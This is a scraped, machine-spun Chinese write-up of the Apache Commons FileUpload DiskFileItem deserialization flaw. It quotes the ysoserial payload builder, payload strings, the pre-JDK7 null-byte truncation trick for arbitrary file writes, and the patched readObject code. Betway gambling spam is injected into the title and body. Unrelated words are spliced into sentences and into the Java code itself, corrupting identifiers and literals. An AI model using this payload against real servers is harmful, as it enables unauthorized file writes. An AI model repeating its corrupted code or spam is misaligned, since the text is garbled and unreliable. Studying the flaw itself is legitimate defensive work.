Apache公用文件上载漏洞。 您可以用恶意方式处理文件-betway必威体育下载_betway必威注册_必威app网址

缝隙的来历是在于 DiskFileItem中的 readObject()进行文件写入的操作,这就意味着假如咱们对现已序列化的 DiskFileItem目标进行反序列化操作就能够触发readObject()履行然后触发这个缝隙。

这个缝隙的损害是能够恣意写、读文件或许目录。可是详细风流涕是对文件仍是目录操作与FileUpload以及JDK的版别有关。

不同的缝隙环境能够到达的作用不相同。

  1. FileUpload的1.3.1之前的版别合作JDK1.7之前的版别,能够到达写入恣意文件的缝隙;
  2. FileUpload的1.3.1之前的版别合作JDK1.7及其之后的版别,能够向恣意目录写入文件;
  3. FileUpload的1.3.1以及之后的版别只能向特定目录写入文件,此目录也有必要存在。(文件的的命名也无法控制);

影响规模

commons-fileupload<=1.3.2

下面进行详细地剖析

Payload结构

咱们首要科学小制造测验的版别是1.3的版别,JDK是1.8版别,所以这种保安组合只能到达向恣意目录的文件写入的缝隙作用。咱们测验娟妞的payload是 {"write;c男儿行ve1000031;123456"},表明的含义便是向目录 cve1000031中写入 123456的内容。在 ysoserial中终究是由 ysoserial.payloads.FileUpload1::makePayload()来构建payload。代码如下:

private static DiskFile他如玉生烟Item makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream",
false, "testxxx", 1conditioner00000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold"床戏韩国, 0);
return diskFileItem;
}

当咱们输入咱们的Payload, {"write;cve1000031;123456"},其间的赋值状况是:

而 thresh的值便是咱们需求写入的内容的长度加1,即 len(123456)+1成果便是7几。其间还有 filePath是 cve1000031/whatever是因为在这个缝隙环境中咱们终究是向 cve1000031目录写入,所今后边是什么就没有含义了。终究在代码中还存在几个反序列化的操作:

Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold梅里雪山", 0);

发序列化的含义是在于咱们无法经过 DiskFileItem的示例进行设置,只能经过反射的办法设置,这几个特点也是咱们触发缝隙的必要条件。

之后对咱们结构的这个进行序列化操作,反序列化之后就会触发D某科学的超电磁炮iskFileItem的 readObject()然后触发缝隙。

缝隙剖析-1

缝隙环境:FileUpload1.3+ JDK1.7

当对 DiskFileItem的目标进行反序列化操作时,由 org.apache.commons.fileupload.disk.DiskFileItem::readObject()处理。

跟进 getOutputStream(),进入到:

因为 dfos==null满意条件,会履行 FileoutputFile=getTempFile();办法。盯梢进入 getTempFile()到中

其间的 tempDir便是咱们设置的 repository,即 cve1000031。tmpFileName是由 DiskFileItem是主动生成的。终究和 tempDir组合得到的文件途径便是 cve1000031\\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp。

终究回来至 readObject()办法中写入文件,如下:

其间的 cachedContent便是咱们之前在Payload中设置的 123456。那么Payload的终究的作用便是在 cve1000031\\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp文件中反贪风暴写入了 123456的内容。

缝隙剖析-2

因为前面的一个缝隙剖析是向恣意目录写文件的功用,本次剖析的是恣意文件写入的功用。本次的缝隙环境是 FileUpload1.3+ JDK1.6。

Payload结构Apache共用文件上载缝隙。 您能够用歹意办法处理文件-betway必威体育下载_betway必威注册_必威app网址Apache共用文件上载缝隙。 您能够用歹意办法处理文件-betway必威体育下载_betway必威注册_必威app网址

结构的Payload是 {"writeOld;cve1000031.txt;123456"}。同样会调用 makePayload()结构Payload。

可是其间的 repoPath终究一位是 \0,这个就类似于PHP中的切断,用于切断后边的途径,这样就能够到达恣意文件写入的作用。详细的原理阐明如下:

JDK7以上在Java的file相关的根底类中都做了空字符的维护,这也是在针对java的string 和 营口c char的完毕办法不一致,在Java中文件的操作中运用String这种cha瑞舒伐他汀钙片r 数组,而C中的char 是以空字Apache共用文件上载缝隙。 您能够用歹意办法处理文件-betway必威体育下载_betway必威注册_必威app网址符为完毕符,所以java操作的文件中很简单经过注入空字符来操作彻底不同的文件。比方 JavaFilefile=newFile("/test/test.txt\0.jsp") 看起来再操作 test.txt\0.jsp实际上在底层调用的(实质仍是c读写文件)是在操作test.txt。在JDK7今后的版别File 里边会有一个判别是否有空字符的函数

这个意思便是在JDK7之前能够使用 \0进行目录切断,和php在5.3.4版别之前也能够进行目录切断是相同的道理。所以这个恣意文件写入为什么要求是JDK7以下的版别才能够的原因。

缝隙的履行流程和前面剖析的缝隙流程相同,不同是在 getTempFile()中:

其间 this.tempFile的途径是 cve1000031.txt \\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp。因为是在JDK1.6的环境下,后边的 \\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp在写入修真国际文件时会被疏忽,所以终究是向 cve1000031.txt文件中写入内容。

缝隙剖析-3

缝隙环境:FileUpload1.3.1+ JDK1.7在 FileUpload1.3.1中对 readObj胡诺言和陈琪e待产包最全清单ct()的功用进行了修正。修正主要是对 repository进行了校验。

private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();
/* One expected use of serialization is to migrate HTTP sessions
* containing a DiskFileItem between JVApache共用文件上载缝隙。 您能够用歹意办法处理文件-betway必威体育下载_betway必威注册_必威app网址Ms. Particularly if the JVMs are
* on different machines It is possible that the repository location is
* not valid so validate it.
*/
if (repository != null) {
if (repository.isDirectory()Apache共用文件上载缝隙。 您能够用歹意办法处理文件-betway必威体育下载_betway必威注册_必威app网址) {
// Check path for nulls
if (repository.getPath().contains("\0")) {
throw new IOException(format(
"The repository [%s] contains a null character",
repository.getPath()));
}
} else {
throw new IOException(format(
"The repository [%s] is not a directory",
repository.getAbsolutePath()));
}
}
OutputStream output = getOutputStream();
中医if (cachedContent != null) {
output.write(cachedContent);Apache共用文件上载缝隙。 您能够用歹意办法处理文件-betway必威体育下载_betway必威注册_必威app网址
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
df觉组词osFile = null;
}
output.close();
cachedContent = null;
}

经过对 rApache共用文件上载缝隙。 您能够用歹意办法处理文件-betway必威体育下载_betway必威注册_必威app网址epository.isDirectory()和 repository.getPath().contains("\0")的判别,就阻挠了恣意的文件写入的缝隙了。所以在这种环境下只能下特定的目录写入文件了。可是这种状况下,你也只能向暂时目录写入文件。

评论(0)